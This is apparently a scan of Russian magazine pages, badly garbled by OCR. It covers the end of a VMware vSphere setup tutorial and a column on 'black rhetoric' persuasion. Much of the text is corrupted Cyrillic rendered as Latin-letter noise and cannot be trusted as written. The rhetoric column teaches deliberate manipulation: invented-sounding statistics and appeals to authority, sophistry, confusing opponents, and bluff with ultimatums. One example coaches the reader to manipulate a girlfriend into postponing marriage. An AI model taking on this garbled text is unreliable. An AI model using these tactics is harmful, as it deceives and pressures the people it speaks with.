o
=
u
] .
o |
o Lt
:
==
e et o
5 Bt £33 bonts s e servers s ot v =
s :
D ometranoone || ] s
Jo6aBnseMnuueH3uo

P B e By Adratiton e
) e s =

o g ey

T0 et tares, ciex Crasn 2 natacenser
] Creste 3 dotacenter

vSphere paeTnonesHbie NOACKA3KM No fanb-
HeWlWnM oermcTBUIM

EVC MOXHO cOBCeM OTKJIIOUMTh. KtacTep cosziaH, HO XOCThI B
Hero Ml ellle He J00aBIIN. DTO OYeHb IIPOCTO: 6epeM U TalluM
MBIIIKOH. Cpasy e CTapTyeT HOBBII MacTep, B KOTOPOM MOXKHO
BCE OCTaBUTh 10 YMOTYaHUIO, )KMeM /iBa pasa «Next» 1 aHaJIo-
TMYHO ZI06aBJIieM OCTaIbHbIE XOCTBL.
ITocsie Bcex onepanyii CTaHOBUTCA JOCTYIIHBIM ITyHKT «Deploy
OVF Template», TO3BOJIAIOIINE 106aBUTH IIA0IOHBI BUPTYaJlb-
HBIX MaImuH B popmare Open Virtualization Format kak ¢
JIOKaJIbHOTO /IVICKA, TaK 1 9epe3 MHTepHeT (KCTaTH, TAKOH
06pa3 MOXKHO CO3/IaTh CAMOCTOSTEILHO, BOCIIOIB30BABIIIKChH
yrumroi VMware OVF Tool). [Tpotiecc z06aBieHNsA yIIpo-
maeT odepeziHOM MacTep. JlobasreHHyt0 OCh cpasy ke MOXXHO
3aITyCTUTb U IIPOBEPUTH B paboTe. OCTanoCch paclipoCTPaHUTh
no6asiieHHble 06pa3bl OC Ha XOCTHL. 11 5TOT0 BEIGHPaeM B KOH-
TeKCTHOM MeHIO IyHKT «Migrate» 1 B OKHe MacTepa yKa3bIBaeM
XOCT, Ha KOTOPBIH ero HeO6XOUMO CKOIIPOBATb.
Y4UTHIBaA TO, YTO OOIAYHbIE CUCTEMBI MOTYT OOCITYKUBAThCSA
6OJIBILIIIM KOJITYeCTBOM a[MUHOB C PA3HBIMU IIPaBaMH, X
JKeJIaTeIbHO KaK-TO Pa3Je/IUTh [0 BO3MOXKHOCTAM. B vSphere
HCIIO/Ib3yeTCs posieBasA KOHLEIINA, TI0C/Ie yCTAHOBKU B
«Administration - Roles» ocTy1HO 9 11a610HOB poJIeii, T03B0-
JISTIOLIVX BEIOPATB U 33 OZIMH KJIMK Ha3HAYMTb F03€PY €ro IIpaBa.
ITpocToii MacTep npeocTaBIAeT BO3MOXXHOCTD CO3ATh T060e
KOJIMYEeCTBO HOBBIX POJIEH.

3AKJIIOYEHUE

B pamMKax O/HOM CTaThb1 HEBO3MOXKHO paccKa3aTh 000 Bcex
BO3MOKHOCTSIX CTOJIb MOIIJHOT'O IIPOZAYKTA. 32 G0PTOM OCTAINCh
rakue ¢pyHxiyHu kak Fault Tolerance (VMFT, 3aryck BTopoit
KOIIMY BUPTYaJIbHOM MaIIMHEL, Ha KOTOPYIO IIPOUCXOANT ITepe-
KJIFOYeHHe B cTydae IpobieM c ocHoBHOM VM), Storage vMotion
(SVMotion, «ropstamii» mepeHoc GpaitioB AuckoB VM Mexay
MacCHBaMH XpaHWIHIL), ropstiee 06aBIeHNe YCTPONUCTB,
yIIpaBJIeHNe PecypcaMi K MOHUTOPHHT PabOTOCIIOCOGHOCTH.
3neck Tebe Ha IIOMOLIb TPUZIET MHOTOYHC/IEHHAA IOKyMeH-
TalXA 1 MOSICHAIOLINE BUZIEOPOIUKH (vinwareelearning.
blip.tv, youtube.com/user/VMwareKB, youtube.com /user/
VMwareELearning). 3z

[INFo

»info
e vSphere foctyneH
BTpex peAakumsx:
Standard, Advanced
n Enterprise. Inga
HebonblUMX OpraHun-
3auuii npeanaraoTcs
Bbinyckun Essentials
n Essentials Plus,
obecneynBatolmne
BUPTYyanun3aLmio Tpex
cepBeposB.

* BnocnegHen
(4eTBeEpTOI) BEpCUK
komnoHeHT vNetwork
Hay4unu peryam-
poBaTb MCXOASALLLWINA
Tpaduk BUPTyanbHoM
MaLUWHbI B CeTb

VI BXOAAWWMI Tpaduk
13 CeTU K BUpTyasb-
HbIM MallVMHaM Ans
rpynn nopTos (Tak
Ha3blBaeMblil AByHan-
paBeHHbIN LWENNUHT).

® B nokymeHTauum Ha
calnTe MOXHO HanTu
Tabnnubl cpaBHEHUS
vSphere ¢ apyrumu
npoayKTaMu BupTya-
nU3aunmn no CToMMoc-
M U QYHKUMOHAb-
HOCTW.

e becnnatHblii BEO-
NHCTpyMeHT VMware
Go (go.vmware.com)
no3BoAseT bbicTpo
nepenT K cnosb3o-
BaHMIo rMnepeusopa
VMware ESXi gna
BUpTyanunsaunv epusm-
Yeckunx cepsepos

B HebonbwoM koMna-
HUW.

e [lepep ycTaHoBKOM
vSphere cnepnyet pas-
PELUNTb NPOXOXAEHNE
naketoB no noptam 80,
389, 443, 636, 902/903,
8080 1 8443.
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UN'TS Oxcana «Oriyana» Aiapeesa oriyanaf@xpsycho.ru

PSYCHO:

ATAKA CJIOBOM

YepHasda puTopuka B Impoljecce yOeXAeHUS

Kak-To noBenock c He3anaMATHbIX BpEMEH, YTO PUTOPMKA — 3TO YA
MacTepOoB C/0Ba: 0PaTOPOB, OPUCTOB, Koy4eit, akTepoB. ObblbHasa pu-
TOpWKa — [a, TaM eCTb CBOV NMpaBua, M YToObl UMeTb MPaBO Ha3bIiBaTb-
CA CneymanmcToM, Hafo UX y4UnTbiBaTb. ABOT HaM, MPOCTbIM CMEPTHbIM,
B3TOM MJflaHe NoBe3/10 60/blle — Yy HAac eCTb 60/1ee NPOCTON U, B TO XKe
BpeMs, bonee n30WpeHHbIM MeTO BO3AENCTBMA Ha ayanToOpunto. 310
YyepHasd pUTOpPWKa, M 3[eCb O4HO MPaBUI0 — HET HUKaKMX NpaBuJl.

KoMy 1 ang yero 3to HyxHo?
Ecnn Tbl lymaeLlib, YTO MO XM3HU HUKOTO
ybexnaTtb He Hy>KHO — c4uTali, Tebe NoBe3no;
BO3MOXHO, 4AapOM BHYLLeHV s Tbl 0bnafaellb
nyywe, 4eMm fapom ybexgenus. lanbiie mo-
XeLlb He YNTaTb — WAM U HACNaXAancs CBOUMM
TanaHtamu :). Ecnv Tl yxe cribiwan 31o closo,
HO He 3HaelWb, FAe U KaK ero NPUMEeHUTb, ceityac
7 0TKpoto Tebe rnasa.

WTak, rae MoxeT noHafobutbes ybexaeHve:

® YrOBOPWTb iEBYLLKY Ha .... [BbIGOp 3a ToBOI 1] ];
® 3aMnyApWTb MO3TU NMPenofy Ha 3K3aMeHe;

® BNapUTh YyK4e X0N0AMAbHMUK (Un KakoMy-
H1Byab Kynxalkepy — TposH;

¢ ybeinTb KOro-To B HTEPHETE, 4TO OH He Npas;

® 060CHOBaHHO 00BACHUTL Wedy, noyemy Tebe
HY>KHO MOBbILLIEHVIE 3aPMNaThl U INYHbIN KabuHeT;
® 1 elle Kyya DbITOBbIX MENOYE T1Na BblABMXe-
HUNS CBOEI KaHAMAATYPbI Ha AenyTaTCKYyH [LOIXK-
HOCTb UK OpraHm3auun pesontouuu. Mo cyty,
Be3/e, e Hy>XHo 10bUTbcs CBOEN Lienn peysblo,
MOXHO MPUMEHSITb YEPHYIO PUTOPUKY.

MTak, ecnu xoTb OAWH NyHKT Tebsi 3auHTEepecoBan
— noexasnu.

YepHan putopuka

TeopeTny4eckn 3TO UCMONb30BaHMNE Pa3INYHbIX
peyeBbIX MPVYEMOB C Liesiblo ybeanTb, HanpasuTb
pa3roBop B HyXHOe pycno, nofBectu cobe-
cefiHVKa unv nybnuky Kk pebyeMoMy BbIBOLY.
[pakTvyecky oHa UrpaeT He TONbKO CoBaMK,
HO W MbICIISIMW, NPELCTaBAEHUAMU U AaxKe MU-
poBo33peHueM. Ee npremMbl Le30pUeHTUPYIOT,
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cObMBAaIOT C TOSIKY, BbI3bIBAIOT BCMECK 3MOLIMIA,
yBJleKatoT B co3fjaBaeMble 06pasbl, 0TKpbiBatoT
HOBbIE FOPM30HTLI M pa3pyLUaloT NpUBbIYHbIE
CTEpPEeOoTUNLI, pa3BeHYMBas pa3yMHble L0BOLbI
1 cosfasasn 13 abcypaHbix GakToB NOrnyecku
yeTkyto KapTuHy. OTAnYMe YepHO pUTOPUKM OT
6enoii B ToM, 4To benas — 370 ybexaeHune onno-
HeHTa c cobntofeHneM npaBui cropa, a YepHas
HapyllaeT BCe BO3MOXHble pamku. Llenb ogHa
— BO YTO bbI TO HM CTano fLocTuYb TpebyeMoro
pesynbraTa.

[IpHeMbl YepHON PUTOPHKK
PHOU pUTOp

OBTOpeHHe Hanboee
BaAXXHBIX MOMEHTOB
[ToBTOpPSi CBO VAEH KaK MOXKHO Yallie — 3T0
nomoraeT MHGOPMaLMM MPOYHO OCECTb B CO3HA-
HWUK 1 3a ero npefenamu. Tonbko He Hafo Tanfbl-
YNTb OfIHY 1 Ty e Gpasy — 3T0 BbITNALMT CKYYHO
v nofo3puTensHo. MNposBn paHTasnio: BO3bMMU,
B KOHLLe KOHL,0B, CJI0Bapb CMHOHWMOB U Urpaiics
MMU, Kak xo4ellb. Hanpumep, TBOS AeByLWKa
xo4eT cBafbby, a Thl ellle He rOTOB; TBOS 3a/a4a
ybeauTb ee NofoXaaTb HeonpeaeneHHoe Konun-
4ecTBO BpeMeHu. CHavana Bbibepu KoHUenumio,
Ha oCHOBe KOTopoWt byaellb cTpouTb yoexaeHue,
Hanpumep, 370 bynet nnes «OduumanbHblie oT-
HolWeHWs pa3pywatoT YyscTea». HaunHaem. Ing
3aTpaBku nogoiaeT «Ckonbko Nap pacnagaercs
nocse y3aKoHUBaHWs OTHOWEHWNA...» [Npeasa-
puUTeNbHO Halam npuMepsl, 4Tobbl ybexaerune
He bbinio ronocnosHbiM. DakTbl — TBOE OpPY>KKeE,
OHa-TO ellje He ycnesa Tak 0CHOBaTelbHO MOA-

roToBuTLCS K AebaTtam). [lanblie nogknoyan
aBTOPUTETOB: «YUYeHble MPOBOAMN NCCEen0-
BaHWs, KOTOpble MOKa3anu, YTo nocne CBadb-
Bbl nogaBnsiollee bonbLWIMHCTBO Nap TepseT
POMaHTUKY B OTHOLLEHUSAX» unu «[lounTtai
Mo601 y4ebHNK No ceMeHOM NCUXoNoruu.
CneunanucTsl MULLYT, YTO B TEYEHME NEPBOTO
roga nocne xeHuTbbel pacnagaetcs okono 30%
nap». Cnefytowmnin war — npm3biB K J0ruke
[Tonbko He nepebopuyn, oHa Beab Aesylwkal:
«/1'3TO NOHATHO, BELb NMOKa Mbl HE CKPemneHbl
WTaMMNOM, Mbl MOXEM MOTepsATb APYr Apyra, v
N03TOMY IOPOXMM U NbITaeMcs BbiTb MHTEpPEC-
HbiMU. Kak TonbKko TepsaTs byfeT Heyero — npo-
nafeT v XenaHue 4To-To fenatb pagu nobrMoro
yenoseka». He 3abyab nonrpats ¢ YyBCTBOM
BYVHbI: «Tbl MeHs DyfeLb ntobUTb, TONBKO ecnu

A oduymanbHo Ha Tebe xeHloch?». V1 B KoHUe

— Taxenas apTunnepus: «A canwkom nobiio
Teb4, YTobbl NOTEPATH M3-3a KaKo-To NevaTut Ha
10-# cTpaHuue nacnopTa...». [locne aToro, ecnn
OHa cpa3sy He bpocuTca Tebe Ha LWeto co cnesamu
BnarofapHocT, MPOCTO MoslYa BbINAM XOTH Obl
Ha MWHYTKY — OHa el noHafobuTes fAns Toro,
4T0Obl N06LITH HAEAMHE CO CBOMMM MbICAMN 1
nepeBapuThb ychblWaHHoe. 3T0 04eHb XOPOLLNA
MaHUNYIATUBHBIA NpUEM.

Kak Bnanwweb, y BCex Te3ncoB CMbIC/ 0fMHa-
KOBbII, HO MOL@Hbl OHV MO-Pa3HOMY: OAMH anen-
NIMPYET K NOTWKE, BTOPOM — K 3MOLUAM, TpeTUi
3ajeicTByeT goBepue k aBTopuTeTaM. KctaTy,
ecsvi onepaTnBHas NaMaTb NOAPYrY MefjIeH-
Hee, YeM NamMaTb TBOEro KOMMa — Nojasai en
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MHPOPMaLMIO C MepepbiBaMU: OJUH YyTPOM,
BTOPOI 3@ Y>XMHOM, TPeTUii Npu obLieHnn B
KOMMNaHuu...

Bonpocel M OTBETHI

Ecnv ol BUAWLLb, 4TO cOBeceHNK OTKPOBEHHO
NyKaBWT, NpsiMo ckaxku: «[1pefctaBb cebs Ha
MOEeM MecTe: Tbl bbl MOBEPWII TOMY, YTO U KaK Tbl
roBOpULLL?».

Mouallle 3afaBali yBoasLLMe B CTOPOHY BOMPOCHI
— 4eM Yallle oMnoHeHT ByaeT 0TBIEKaTbCS, TEM
TpyAHee eMy By[leT CKOHLLeHTPMPOBAaTLCS Ha BHY-
WeHuy cBoeit naen. Kak BapnaHT: MOXHO 3acTo-
nopuTLCA Ha Kakol-HK1byab HenpaBLonofobHow
YW HEOAHO3HAYHO MeNOYMN 1 AOATO MbITaTbCS
NPUIATU K UCTUHE — B UTOre KOHeYHas Liefb ero
peywn bypeT nnbo otcpoueHa, nnbo 3abbiTa.

Ecnu xe Takve Bonpocsl 3agatot Tebe, noctapan-
Csi BEPHYTb OMMO3U1LIMOHEpa B pycio: «5 oTBeuy
Ha TBOW He OTHOCSLLIMeCs K TeMe BOMpoChl B
noboe BpeMst, Kak TONIbKO Mbl pelM MOCTaBeH-
Hble Ha JaHHbIA MOMEHT 3a8aun. A ceilyac gasan
CKOHLEHTPUpyeMcs Ha Hux». Mnu «Tbi 3agan
3TOT BOMPOC, 4TODbI CMEHWTHL TEMY pa3roBopa,
MO3TOMY 51 €70 NOKa NPOUTHOPUPYIO».

Wnwn «[pexpe 4em oTBeYaTh Ha BONpOC, flaBak
onpefenvMcs, 4To Tl NOApa3yMeBaellib Moj,...» 1
Lanbllie Nepeyncnsii Bce NOHATUS, 03BYHeHHble
B BOMpoOCE.

Mo3HO yx0ANTb OT 0TBETA, OTKNablBaTh €10, Bbl-
[\BUraTb BCTPEYHble BOMPOCH! UM 06BUHEHNS.

COB[[aHI/Ie IIpOCTpaHCTBA
Ecnn mexay Toboit n cobecefHnkoM HeT
NPOTUBOCTOSIHUS, 1 Thl TPOCTO X0YELLlb €r0 B
4yeM-Hubyab ybeanTs, yBaeus, cozfan obpas,

B KOTOPOM Thl BUAMLWb W YyBCTBYELW b KaXAyto
neTanb. 3Lecb He HY>XXHO H1KOro ybexaaThb B npu-
BbIYHOM CMbICJE CJTOBA; MO3WUTUBHLIV pe3ynbTaT
L0CTUraeTcs 3a cyeT «cobnasrenuns». Jpyrumum
cnoBamu, Npu NpsiMoM yBexieHNMN Tbl apryMeH-
TaMU NpUHYXAaellb YesoBeka cienaTb YTo-To;
B Cllyyae C yBle4yeHuneM B co3gaHHoe Toboli npo-
CTPaHCTBO — Thl jef1aellb Tak, YTo YeSlIOBeK caM
3axo4eT caenatb aTo.

Vcronb30oBaHUE
crienupuIecKoit
TE€PMHHOJ/IOTNH

Bo-neps.bix, 3anyThiBaeT cobecepHyika. Mano k1o
MOXeT cka3aTb: «CTon-cTon, 1 He NoHs, pasbsac-
HU1 3Ha4YeHKe 3Toro TepMyHa». [laxe ecnv kTo-To
nocMenutes, 7o 1-2 pasa CMOTPUTCH HOPManbHO.
Ho ecnu oH bypeT nepecnpatumeats kaxble 10
MUHYT — 3TO BbIFSAANT CMELLHO.

Bo-BTOpbIX, 3TO Nof4YepKHeT TBOM NpodeccroHa-
SIN3M 1 KOMMeTeHLMIo B 06Cyx/jaeMoM Bornpoce.
OBbIYHblE COBa B MHOCTPaHHOM BapuaHTe Toxe
pynsT. [of cnoBaMu MHOCTPAHHOMO MPOUCXOXKAe-
HUS 1 M0 B BULLY HE «CEHKC, NJN3, PaHoM,
coppw, Xal, Tpy», a 4To-To bonee skcTpaBaraHT-
HOe, NoNUANTepabHOe, KOMIINLMPYLLee
CeMaHTNYECKYIO V1 IeKCUYEeCKYI0 aaanTaLmio VH-
AviBUAyyMa B 0bCyxaaeMblx BONpocax, Hanpumep,
Br3Hec 3BaNO3MLLH MAM aNMNpali3an annpoyy.
Hapetoch, Tol noHan. 160, ecnu He noHan — To

Thl Ha COBCTBEHHOM NpUMepe oLLyTIUA, Kak byaeT
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OPA3bI,

e no aHaaormm CoCtaBuLLb CNMUCOK CaM.

npeanoxeHund...

— Bbl camu xoTb noHMMaeTe, 4To Bbl TonbKo YTo cka3ann? [1oToMy YTO HUKTO He MOHS...
— Kak Bbl npuLnmn k Takomy owimboyHomy BbiBOAY?

— Bl aT0 ceityac cepbesHo ckazanu...?

B apcenarne nioboro «4epHoro opatopa» AoJKHbI ObITb Gpasbl, C MOMOLLbIO KOTOPbIX MOXKHO
CMYyTUTb, 0beckypaxwTb, 3aCTaBUTb 3aMonyaTb. 3AeCh 9 NprBeAy HECKObKO MPUMEPOB, a fAab-

— 970 camas fypalikasi uaes, KoTopylo § Cibllian 3a nocnegHue 3 yacal
— He cTbigHo B Bawem Bospacte (monoxerun) rosoputs Takve Bewin?
— OT cneuuanucTa Ballero ypoBHS Mbl He 0XMAaM yCabllaTh Takue HenpoheccruoHanbHble

— B aT0i1 Teme Bbl pa3bupaeTtech o4eHb nioxo; 3aT0, HABEPHOE, XOPOLUO UrpaeTe B bunbsapa,.

— W yto?

YyBCTBOBATb cebs TBOI OMMOHEHT, Korna Tel npn-
MEeHWLWb NpreM Ncnosb3oBaHnA cneumcbmquKon
TepMUHOSIOrnNN.

Coducrtuka

OueHb pagyeT cnocob obxona 0bbekTUBHOW
peasnbHOCTV C MOMOLLbIO MCEeBA0NOMMYECKUX
KOHCTPYKLWIA, pyrMuM cnoBamm, «rmbkocTb
NOHATUI, NpUMeHeHHas cybbekTnBHO» © JTeHuH.
[pumeHsasa coducTuky, Tl MOXeLLb 0bocHOBaTb,
4T0 YepHoe — 370 benoe, 1 HaobopoT. Cambiit
NPOCTON M NONYNSPHbIV NpUMep codusma: «To,
YTO Thl He Tepsin, Tl UMeeLllb. Pora Tbl He Tepsn.
3HaywuT, yTebs ecTb pora». Bpose bbl Bce norny-
HO, HO B MTOre — epyHAa Kakas-To. JlornyHbeiMu B
coduraMax A0BOLbI KAXKyTCH MOTOMY, YTO OHM Bbl-
pBaHbl M3 KOHTEKCTA, U 3aKOHOMEPHOCTU OAHOM
rpynnbl NPUMeEHSATCS K Apyroit. B ocHoBe Takol
JIOrMYeCKO OWNDKM TeXXUT HeNpoBEePEHHOCTb
OAHOTO V3 CYXXAeHWIA, 1 B lanbHelilieM pe3ynbtat
NOrMYeCKOoW LLenoykn NpoTYBOPEUNT UCTUHE.
YacTo k codpuctnyecknm nosykam npuberatot
XXYPHaNUCThI (An9 CO3AaHMA CNOHA U3 MyXV UK
CceHcaumy u3 nyctoro Mectal u agsokats (ans
onpasaaHus noazawnTHslx). OanH ns Hanbonee
SpKUX cly4aeB — 370 cyfebHoe pa3brpaTtenscTso
no geny ckangana Knpkoposa v AposiH (aa-aa,
TOT, NOC/e KOTOPOTO XYPHANUCTbI Ha4au acco-
UMMPOBaTLCS C PO30BbIMM KodToukamu). Mocne
npviBneyeHns GUNoNOroB u nekcukorpados

BbISICHMIIOCh, 4TO 0CKopbieHne BoBCe He bbino
ockopbneHunem. B 3aknoyeHnn ¢urypnposanm 5
nyHKTOB foka3aTenscTs: 1. Ockopbnerune — 3to
peyvyeBoi akT C UCMOMb30BAHMEM HEMPUINYHbIX
C10B, HaMNpaBJIeHHbI Ha KOHKPETHOE L0 1
NPUNUCLIBaIOLLMIA €My OTPULLATENBHYIO Xapak-
TepucTuky. B cnepytolnx yeTsipex nyHkTax
060CHOBbLIBANOCh, YTO BbIpaXeHUs «pasfpa-
XatoT CUCBKW, KOPTOYKA 1 MUKPOPOH», «[ia MHe
N0-X...», «M..Aa» He ABASIOTCA NPUNUCbIBAHNEM
HeraTMBHOW OLLeHKM, @ ECIIN M IBAAIOTCS, TO 3TO
BbIPaXeHO B NMPUINYHbIX C/I0BAX, @ HeMpUInY-
Hble C/I0Ba He afpecyioTcs KOHKPETHOMY JInLLY,
ABASKCh BCEr0 INLb PUPMOIL K penivike XepTBbl,
TaKke TOSIKYI0TCS ABOSIKO, @ 4aCTb U3 HUX BoObLLLE
NPOCTOHAPOAHbIE, @ He 0CKopbUTENbHbIE. ..
JNornueckas olwrbka cocTOUT B TOM, 4TO B MOHATUE
ockopbieHWs BKIIOYEHbI BCE NepedncienHble
npusHaku (oTpuaTenbHas xapakTepucTrika, He-
NPVAKYHbIE CII0Ba U T.M.) B COBOKYMHOCTY, 1, pa3
OHW BbINW N0 OTAENBHOCTY, TO B LieIoM ockopbre-
HUEM He ABNSIOTCS.

OpaHako 06BMHWTENb 0Ka3ancs He AypakoM v
cpasy pacrnosHan 3soynotpebneHve copruamami.
OH poka3san nceBAoOHAYYHOCTb KaXkAoro U3 npu-
Be/leHHbIX [J0Ka3aTebCTB, N0j KOHeL, NapupoBas
TeM, 4To ockopbieHwe B BUAE NeBKa B ULO He
COLEPXKUT HU OLHON U3 NePeUNCNEeHHbIX Xapak-
TepucTuk. B nogobHoro popa cropax KTo yMHee
—ToTMnpas ).
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YbEMIEHUE

Pesynbtat 3TUX ABYX BUL0B BO3AENCTBUSA OfUH U TOT Xe — A0BWUTLCA OT YenoBeka Yero-
T0. B yeM pasHuua? YbexaeHne — BO3aeiCTBME Ha CO3HaHWe niogel, obpalleHHoe K

X cCOBCTBEHHOMY KpPWUTMYECKOMY BOCMpUATUIO. BHyLIeHNe — BO3AeNCTBME Ha CO3HaHWe
YesoBeKa, Npy KOTOPOM MPOMCXOAUT HEKPUTUYHOE BOCNPUATUE MOJTy4aeMoi MHdopMaLmm.
Kak Buanwe, 4eno B KpUTUYHOCTU/HEKPUTUYHOCTU BOCTIpUATASA. B gasbHeileM ycTaHoB-
KW, BHELPEHHbIE C MOMOLLbI0 YOeXAeHNS, KOHTPONMPOBaTbL flerye, Yem Te, 4To bbinu npu-

BHeceHbl cnocobomM BHyLIEHNA.

MosyaHue B

KaK CWIBbHEHUIIINHU JOBO/,
MIHorga npocTo 0CMbICIEHHbIN B3MISA U MHOTO-
3HayuTeNbHOe MonYaHue bonee apPekTUBHSI,
4yeM KpacHopeunBble 0BOAbLI. MonuaHmne — 3To
BoobLLe cuAbHOE opyxKe B 1toboM pasrosope.
Korga Tbl MOAUMLLB, TPOTUBHUK HE 3HAET, YTO
JyMaTb: Tbl COrNIaCeH UK HET, FOTOBULW b Ha-
nafeHve Ui ckaHvpyewb ero peds v nilellb
owwrbKuM. Y MHOTMX Nloflet eCTb XpOHMYecKas
HEMNepeHOCUMOCTb [JIMHHbIX May3, OHW BO 4TO
Bbl TO HU CTANI0 NbITAITCHA €€ 3aN0MHUTL YeM
YrofHO, NPY 3TOM MOTYT NPOTrOBOPUTLCH U BbIAATH
CKpblBaEMyio MHGOpPMaL Mo Mnn HeobaymMaHHo
COMNacuTbCs Ha HeBbLITOAHYI0 AN cebs no-
3uumio. Ho To, 4To OHU BbINAZAYT Ha CTPEM UK
noyyBcTBYytoT cebs Henosko — 370 100%. Takxe,
ecnunyTebs HeT apryMeHToB, MoflYaHne MoxeT
paspynuTb CUTyaLMio: Npu ANVMHHOM Nay3sey Tebs
eCTb BpeMs Ha 0bAyMblBaHMe 1 aMopTH3aumio,
aycobecefHnKa — BpeMs 3aCOMHEBATLCA B
CKa3aHHOM ¥ NPUIATW B 3aMeLLaTeNbCTBO, Bbl-
3BaHHOe TBOMM MoslYaHuneM. Y7o kacaeTcs nays
— OHM NOMOratoT IOTUYECKN Pa3feNunTs TEKCT 1
[al0T CAyLuaTento BpeMs Ha 0TAbIX U yCBOeHUe
nHbopMaumu, peyb He Tak Harpyxaer. [lepe-
rmbaTh nasnky c nay3amm He CTOUT — 3TO CUJIbHO
Hanpsraert.

OO6JIUTH MOJIOKOM

N IIoaXEdb

[pyrumu cnosamu — cbuTb c TonKy. BoT Heckonb-
KO L,eACTBEHHbIX MPUEMOB.

¢ 3apatb MHOro BonpocoB cpa3sy: «Kak paboTaeT
aTa nporpamma? Kctat, Ha Hee eCTb nLLeH3na?
AT0 e camoe, Ho Ha Delphi, Hanuwete?» Yen
TepsieTcs U He 3HaeT, Ha Kakol BONpocC eMy 0T-
BeYaTb B MepByio oyepelb.

® Y106kl COMTL BHICTYNAIOLWETO C MBIC/TN, OT-
JINYHO KaTUT MPUEM HECOOTBETCTBUA COB U
peakunu Ha HUx. OfHK pebsaTa Tak npukanbi-
BafNCb: OHW XOAUNW Ha Npecc-KoHbepeHLuu,
npeseHTalMu, U KOrfa HacTynasno Bpems
KYPHaNUCTOB, C YMHbIM BULOM 1 BNOKHOTY-
KOM 3afjaBanu Bonpock Tuna «Yenosek 3a
yac BbiNMBaeT 2 IMTpa NuBa. 3a CKObKO OH
BbINbET HOUKY, €CIM HE Y4UTbIBATb BPEMS,
HeobxofnMoe eMy, UTobbl CXOAUTL B TyaneT?»
W Bkntovanu cekyngomep. Bug nnua odpures-
Lero opaTopa CTOUT TOro, YTOObl PUCKHYTH
nonpoboBaTk To Xe camoe.

o [lepebuBanvie. Korna BUAWLLb, 4TO YenoBek
cAenan BAoX, 4Tobbl HaYaTh peyb, onepeamn eroun
3aall kakon-HKby b HecyLLeCcTBeHHbI BONPOC
WA KNHB 3a6aBHYI0 pennuky.

» 138

CMeHa posei

[Mpw 0bLLeHNM KaxX bl i U3 HaC BpEMEHHO UrpaeT
KaKyio-To posib: MpofasLia, 0bBMHsALLETO, N1 ae-
pa, 4enoBekKa, 3aBMCKMOr0 OT YyXOro peLleHuns.
BTopoit, cooTBETCTBEHHO, NOACTPaNBAETCS MO,
B3avMoAomnonHsoLLyio posb. Kctatu, He dakT,

4TO Thi CaM BbIbVpaeLlb No3ULMI0 — ee MOXeT
BbibpaTh bonee akTUBHbBIN cobecenHyik, a Tebe yxe
0CTaHeTCs ToNbKO Nof3epkanvBaTh ero. M BoT, BblI
Mo HaKaTaHHOM OTLITPbIBaeTe CBOV CleHapnn (no-
yuTali no atovi Teme 3pwika BepHa «Mrpsbl, B KOTO-
pble UrpatoT MoaM»); Lar Bfieso — Wwar Bnpaso He
flonyckaeTcs, Tak Kak 3o y>ke byieT fpyras urpa.
M MHOTVe U3 Hac UrpatT HEeBLIFOAHbIE AN HUX
ponn, Aaxe He NPeACTaBAAs, YTO MOXKHO NPOCTO
CMeHWTL 0bpa3 unu nrpy, ocosHasas, YTo fenaellb
B JaHHbI MOMEHT. [1p1 3TOM «HanapHwk» no urpe,
€CIV OH MeHee 0CO3HaH 1 AeCTBYeT Ha aBToMaTe,
nocne HeKOTOPOro 3aMeLLaTeNbCTBa NepeiieT B
Lpyroii obpas, npeanoxeHHsli Toboi. Hanprmep,
yTebs ecTb kakas-Hnbyab co3gaHHas cobcTBeH-
HOPYYHO OT/IMYHAsA MPOrpaMMa, v ecTb KIIMEHT,
KOTOPbIV Bpozie bbl HE MPOTUB ee KynuTb, HO OH TS~
HeT, coMHeBaeTcs... lpyrvmu cnosamu, Bel ceityac
“rpaeTe B Urpy «npofiaBeL, — Mokynatesb», rae Tbl
3aHMMaellb NaCcCHBHYIO MO3ULMI0 — XAellb, 3 OH
aKTUBHYt0 — peluaeT, bpaTtb vnun HeT. AyTo MeluaeT
Tebe cMeHWTb ponn? BmMecTo Toro, 4Tobbl xaath
€ro peLleHws, Tbl CaM CTaBULLIb YCII0BUS: «XM...
370 NpuBaTHbIN codT. He 3Hato, Mory n 51 bbITb
YBEPEH, YTO Thl HE COMbeLLb ero B Nabnmk?». U
NyCTb Tenepb OH J,0Ka3bIBaEeT, 4TO «40CTOUH» 3TOM
nporpammel. [puem pabotaet, ecnny Teba ectb
BO3MOXHOCTb peLlaTh U BbibnpaTh.

ITpunes Ha 11e1I€BYIO
ay,ZII/ITOPI/IIO

Korpa Tbl cTponLb peyb, 4Tobbl ybeanTs Koro-To
B YEM-TO, BCErLa y4NTLIBAN TO, K KOMY oDpalleHbl
TBOW CNOBa — A5 KaX ol Lienu Beibupaii ceoe
opyxwe. Hanpumep, Monofibie v cpefHero Bo3-
pacTa XeHLVHbI ODAT NPT 1 3anrpbiBaHNS

— KT0-TO byleT KOKeTHMYATL B OTBET, KTO-To byaeT
CTpoUTb 13 cebsi He[oTpOTY, HO BCEM UM 3TO Hpa-
BuTCs. [Ina nofielt c onepaumoHHbIM MblLLEHNEM
(nporpammuctsl, I T-wHukn) cospai naeans-

HYI CXEMY, TaK KaK pacrmcbiBaHne KpacouHbIX
0bpa3oB — He daKT, 4To NOAENCTBYET; HyXXHbI
NCXOAHbBIE AaHHbIe, Lesb, MyTH LOCTUXKEHUS U
anropuT™ LENCTBUA MPEASIOKEHHOM CXEMBI.
YT10bbl fOOWTLCA NOALEPXKKM NEHCUOHepOB, Tebe
Hy>eH 0bpa3 BHelLHero Bpara, C KOTOpPbIM Bbl BCE
BMecTe byfeTe aHaTUYHO BOPOTLCS 1 BBIBOAUTL
Ha 4mncTyto Boay. [TeHCHOoHepbl 0T 3TOr0 peasbHo
TaluiaTcsa.

bned + ynprumarym

3T0T NpreM yyLle He UCNOob30BaTb rAe U Kak
nonano, Befjb €CM KTO-TO MOC/Ie CNopa peLunT
NpOBEPUTH UCTUHHOCTb TBOWX YrpO3, Thl pUC-
KyeLllb Hafonro npuobpectu ctatyc banabona.
OH MoxeT cpaboTaTb X0poLlo, HO TOSTBKO NpK
NOAXOAALLNX 06CTOATENbCTBAX, HANPUMEP, eCN
Thl BUAMLb, YTO MPOTUBHUK COMHEBAETCH U He
yBEpEH B CBOEN TOUKe 3peHus (a 3T0 yxe NpusHak
TOrO, YTO YI3BUMOCTH B MO3MLMM ECTh), eCn

ThI TOYHO 3Haellb, YTO OMMOHEHT He BNajeeT
nHbopmaLmen.

[punBeny NpvMep, ONUCaHHbI aBTOPOM KHUTY
«YepHas putopuka» Kapcterom Bpesemaiiepom.
